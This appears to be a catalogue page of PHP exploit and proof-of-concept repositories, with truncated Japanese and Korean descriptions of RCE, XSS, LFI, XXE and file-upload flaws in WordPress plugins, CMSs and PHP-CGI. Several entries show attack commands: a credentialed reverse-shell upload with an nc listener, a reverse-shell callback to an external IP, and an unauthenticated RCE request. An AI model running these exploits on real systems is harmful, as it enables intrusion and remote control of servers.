CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php phprevshell.php の 7 行目の $ip を変更してください nc -lvnp 1234...

CVE-2025-22510

CVE-2025-22510 1️⃣ コンポーネントタイプ WordPress プラグイン 2️⃣ コンポーネント詳細 コンポーネント名 WC Price History for Omnibus 影響を受けるバージョン このプラグインを有効化するには、事前に WooCommerce プラグインがインストールされ、有効化されている必要があります。 2. PHP オブジェクトインジェクションの脆弱性をテストするには、次のクラス PoCPOPChainObject を wp-config.php ファイルの末尾に追加します。 root@kitploit: class...

CVE-2025-44108-SXSS

CVE-2025-44108 - FlatPress CMS 1.3.1 における保存型クロスサイトスクリプティング XSS の脆弱性 説明 Flatpress CMS 1.3.1 の管理パネルには、保存型クロスサイトスクリプティング XSS の脆弱性が存在します。管理者権限を持つ攻撃者は、悪意のある JavaScript ペイロードをシステムに注入でき、そのペイロードは永続的に保存されます。 一般ユーザーが侵害されたページ 例: ブログ投稿 にアクセスすると、注入されたペイロードが被害者のブラウザ上で自動的に実行されます。 影響を受ける製品 Flatpress バージョン :...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE プロジェクト概要と原理 グローバル初のPHPデフォルト環境（XAMPP）を利用したCVE-2024-4577 PHP-CGI RCE脆弱性のエクスプロイト。 世界初のCVE-2024-4577 PHP-CGI RCEエクスプロイト。デフォルトのPHP環境を利用。オリジナルのエクスプロイトを共有し、SSRFをサポート、WAFバイパスをサポート。 PHPデフォルト環境でRCEを実現。原理：cgi.forceredirect + REDIRECT-STATUS。...

CVE-2020-0688

CVE-2020-0688 スキャナー これは、CVE-2020-0688 に対して脆弱な Exchange サーバーをチェックするための、ちょっと汚いスクリプトです。 醜く、PHP で書かれています。 注意: これは実際の CU アップデートがインストールされているかどうかをチェックするだけです。バグ修正パッチがインストールされていることを意味するものではありません! 要件 php-cli と php-curl が必要です 使用方法 まずリポジトリをクローンします: root@kitploit: git clone...

CVE-2026-71981

Cypht CVE-2026-71981 PoC これはCVE-2026-71981（安全でないデシリアライゼーションによるRCE）のPoCです。実行したコマンドの結果は、ログアウトリクエストのレスポンス内のタグの後に出力されます。レスポンス全体も表示するには--print-allを使用してください。 影響を受けるバージョン: v2.12.2 依存関係のインストールと実行 このスクリプトは、unserializeペイロードを生成するために https://github.com/ambionics/phpggc のインストールが必要です。 セットアップと実行例: root@kitploit...

CVE-2015-6967-EXPLOIT

CVE-2015-6967-EXPLOIT CVE-2015-6967 PoC Exploit このPythonスクリプトは、Nibbleblog （CVE-2015-6967）の脆弱性を悪用して、脆弱なターゲットにリバースシェルをアップロードします。スクリプトは、ターゲットURL、ユーザー資格情報、およびホストIP/ポートをユーザー入力として受け取り、その後、PHPリバースシェルをアップロードして脆弱性を悪用します。 免責事項 このスクリプトは教育目的のみを意図しています。違法行為に使用しないでください...

CVE-2026-48907

CVE-2026-48907 教育用PoC ⚠️ このリポジトリは教育および防御的なセキュリティ目的のみに使用されます。必ず、自分が所有するシステム、または明示的に評価を許可されたシステムに対してのみテストしてください。このプロジェクトを第三者システムに対して使用しないでください。 このPoCは、Joomla Content Editor JCE のバージョン 2.9.99.4 までに影響する未認証のRCE脆弱性である CVE-2026-48907 を実証します。 これは、JCEのプロファイルインポート機能における認証と検証の欠如を悪用します。 これは BIBIL0DAYのオリジナルPoC...

CVE-2026-38526-PoC

CVE-2026-38526 | Krayin CRM v2.2.x 認証済みRCE - TinyMCE経由の無制限PHPファイルアップロード 説明 CVE-2026-38526 は、Webkul Krayin CRM v2.2.x に影響する重大な認証済みリモートコード実行の脆弱性です。この脆弱性は、TinyMCE のメディアアップロードエンドポイント /admin/tinymce/upload に存在し、アップロードされたファイルタイプの検証が行われません。認証済みの攻撃者は、悪意のある PHP ファイルをアップロードし、サーバー上で任意のコマンドを実行できます。 CVE:...

CVE-2026-22241

CVE-2026-22241 CVE-2026-22241 실습 환경 취약점 설명: 취약점: 위험한 유형의 파일 무제한 업로드 영향: 원격 코드 실행 RCE 설명: 이 결함으로 인해 관리자 권한을 가진 공격자가 악성 PHP 파일웹 셸을 업로드하여 웹 서버의 무결성과 보안을 완전히 손상시킬 수 있습니다. 대상 시스템: OpenClass 교육 인프라 1. 환경 구축 sudo git clone https://github.com/CVEs-Labs/CVE-2026-22241.git...

CVE-2024-4577

CVE-2024-4577 これはPHP CVE-2024-4577のPoCです。 はじめに デジタル環境におけるセキュリティはかつてないほど重要です。とはいえ、ウェブで最もよく使われるプログラミング言語の1つであるPHPに新たな脆弱性が発見され、その結果、数百万ものウェブサイトに目に見えない扉が開かれてしまったと想像してみてください。この脆弱性は CVE-2024-4577 として知られ、リモートの攻撃者が1CGIに引数を注入することで影響を受けるサーバー上で任意のコマンドを実行することを可能にします。この欠陥は、DEVCORE @d3vc0r3 のセキュリティ研究者 Orange...

CVE-2021-3129

CVE-2021-3129 Laravel デバッグモード - リモートコード実行 RCE https://vulners.com/cve/CVE-2021-3129 https://www.ambionics.io/blog/laravel-debug-rce https://github.com/ambionics/phpggc 例 root@kitploit: python3 exploit.py http://127.0.0.1:8080 root@kitploit: python3 exploit.py http://127.0.0.1:8080 --phar $php -d...

CVE-2022-41343

CVE-2022-41343 🐍 CVE-2022-41343 の Python Exploit dompdf 2.0.1 用 Staged Reverse Shell 基づく: Positive Sec's write-up および PoC 例 root@kitploit: cve-2022-41343 10.10.16.3 44444 使い方 root@kitploit: usage: cve-2022-41343 -h -l SERVERPORT -s SHELL -n FONTNAME ip port positional arguments: ip Shell Callback...

CVE-2023-49544

CVE-2023-49544 Customer Support System 1.0 - ローカルファイルインクルージョン 説明 : Customer Support System 1.0 はローカルファイルインクルージョンに対して脆弱です。認証されたユーザーは、ラッパーフィルタを利用したローカルファイルインクルージョン LFI 脆弱性を悪用することで、オペレーティングシステム上の PHP ファイルにアクセスし読み取ることが可能です。 脆弱な製品バージョン : Customer Support System 1.0 CVE 作者 : Geraldo Alcântara 日付.:...

CVE-2021-29447

CVE-2021-29447 WordPress 5.6-5.7 PHP 8+ の認証済みXXEインジェクションを悪用するPOCです。このCVEの詳細はこちら 使用例 XXEインジェクションに対して脆弱なメディアライブラリを持つWordPressサイトをホストするHackTheBoxのMetaTwoマシンに対する使用例です。 root@kitploit: python lfi.py -u manager -p partylikearockstar -t metapress.htb -lh 10.10.XX.XX -lp 8081 -w filewordlist 使い方...

CVE-2025-46178

CVE-2025-46178 Cross-Site Scripting XSSの脆弱性が、CloudClassroom PHP Projectのaskquery.phpのeidパラメータに存在します。これにより、リモート攻撃者が細工したURLを送信することで、被害者のブラウザセッションのコンテキストで任意のJavaScriptを注入でき、セッションハイジャックや改ざんにつながる可能性があります。 追加情報...

CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector - 任意ファイルアップロードエクスプロイト CVE-2024-56264 概要 このリポジトリには、WordPress ACF City Selector プラグイン（バージョン = 1.14.0）で見つかった 任意ファイルアップロード 脆弱性である CVE-2024-56264 のエクスプロイトが含まれています。この脆弱性により、攻撃者は脆弱なWordPressインスタンスに 悪意のあるPHPファイル（ウェブシェル） をアップロードし、サーバー上で任意のコマンドを実行できます。 CVE 詳細...

CVE-2025-34030-PoC

CVE-2025-34030 - sar2html 'plot' パラメータ RCE CVSS: 10.0 緊急 脆弱性: OSコマンドインジェクション プログラミング言語: PHP エクスプロイトコード: Python 参照: https://nvd.nist.gov/vuln/detail/CVE-2025-34030 https://www.vulncheck.com/advisories/sar2html-command-injection 説明 sar2html バージョン 3.2.1 以下には、index.php の plot パラメータ（index.php?plot=;...

cve-2024-4577-lab

環境ブループリント root@kitploit: OSコンテナ: ubuntu:22.04 Windows WSL2 上で実行中。 Webサーバーレイヤー: modactions、modcgi、modcgid をメインの apache2.conf にグローバルに強制設定した Apache2。 言語インタープリター: PHP 8.1.2 は CGI/FastCGI モード Server API でのみ厳密に実行。 ファイルアーキテクチャ: 実行コード index.php とシミュレートされたチャレンジアセットをホストする機能的な app/ ディレクトリ。 調査対象のコア脆弱性メカニズム...

RCE_CVE-2024-7954-

RCECVE-2024-7954- SPIP 4.30-alpha2、4.2.13、4.1.16 より前のバージョンで使用される porteplume プラグインは、任意コード実行の脆弱性の影響を受けます。リモートの認証されていない攻撃者は、特別に細工された HTTP リクエストを送信することで、SPIP ユーザーとして任意の PHP コードを実行できます。CRITICAL エクスプロイト: POST /index.php?action=porteplumeprevisu HTTP/1.1 Host: Hostname Content-Type:...